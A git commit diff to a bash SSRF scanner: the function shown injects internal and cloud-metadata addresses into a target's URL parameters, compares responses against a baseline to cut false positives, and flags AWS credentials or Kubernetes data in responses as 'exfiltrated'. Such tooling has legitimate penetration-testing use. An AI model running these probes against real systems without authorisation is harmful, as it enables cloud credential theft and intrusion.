Fix SSRF v22: baseline fingerprint prevents false positives, limit to 25 fast probes
This commit is contained in:
@@ -78,6 +78,10 @@ vector_ssrf_proof() {
|
|||||||
|
|
||||||
local tested=0
|
local tested=0
|
||||||
|
|
||||||
|
# Get baseline response to compare against (avoid FPs)
|
||||||
|
local baseline=$(curl -s --connect-timeout 5 --max-time 8 "$target" 2>/dev/null)
|
||||||
|
local baseline_fingerprint=$(echo "$baseline" | head -3 | tr -d '[:space:]' | cut -c1-50)
|
||||||
|
|
||||||
# Get URL params from discovery
|
# Get URL params from discovery
|
||||||
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
||||||
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null)
|
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null)
|
||||||
@@ -85,17 +89,27 @@ vector_ssrf_proof() {
|
|||||||
# If no params found, try common SSRF parameters
|
# If no params found, try common SSRF parameters
|
||||||
if [ -z "$param_names" ]; then
|
if [ -z "$param_names" ]; then
|
||||||
print_sub "No params found. Probing common SSRF parameters..."
|
print_sub "No params found. Probing common SSRF parameters..."
|
||||||
|
local max_tests=25
|
||||||
|
local test_count=0
|
||||||
for param in "${ssrf_params[@]}"; do
|
for param in "${ssrf_params[@]}"; do
|
||||||
|
[ $test_count -ge $max_tests ] && break
|
||||||
for internal in "${internal_targets[@]}"; do
|
for internal in "${internal_targets[@]}"; do
|
||||||
tested=$((tested + 1))
|
[ $test_count -ge $max_tests ] && break
|
||||||
|
test_count=$((test_count + 1))
|
||||||
|
tested=$test_count
|
||||||
|
|
||||||
# URL-encode the internal target
|
# URL-encode the internal target
|
||||||
local encoded=$(printf '%s' "$internal" | jq -sRr @uri 2>/dev/null || echo "$internal")
|
local encoded=$(printf '%s' "$internal" | jq -sRr @uri 2>/dev/null || echo "$internal")
|
||||||
local test_url="${target}?${param}=${encoded}"
|
local test_url="${target}?${param}=${encoded}"
|
||||||
|
|
||||||
local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null)
|
local response=$(curl -s --connect-timeout 4 --max-time 6 "$test_url" 2>/dev/null)
|
||||||
|
local resp_fingerprint=$(echo "$response" | head -3 | tr -d '[:space:]' | cut -c1-50)
|
||||||
|
|
||||||
if echo "$response" | grep -qi "$AWS_CRED_PATTERN\|$METADATA_PATTERN\|$CLOUD_PROOF"; then
|
# Skip if response is same as baseline (parameter ignored by app)
|
||||||
|
[ "$resp_fingerprint" = "$baseline_fingerprint" ] && continue
|
||||||
|
|
||||||
|
# Now check for actual SSRF markers
|
||||||
|
if echo "$response" | grep -qi "$AWS_CRED_PATTERN\|$METADATA_PATTERN\|$CLOUD_PROOF\|kubernetes.*namespace\|pods/"; then
|
||||||
if echo "$response" | grep -qi "$AWS_CRED_PATTERN"; then
|
if echo "$response" | grep -qi "$AWS_CRED_PATTERN"; then
|
||||||
print_find "CONFIRMED SSRF — AWS Credentials Exfiltrated!" "$param=$internal"
|
print_find "CONFIRMED SSRF — AWS Credentials Exfiltrated!" "$param=$internal"
|
||||||
echo "SEVERITY: CRITICAL
|
echo "SEVERITY: CRITICAL
|
||||||
|
|||||||
Reference in New Issue
Block a user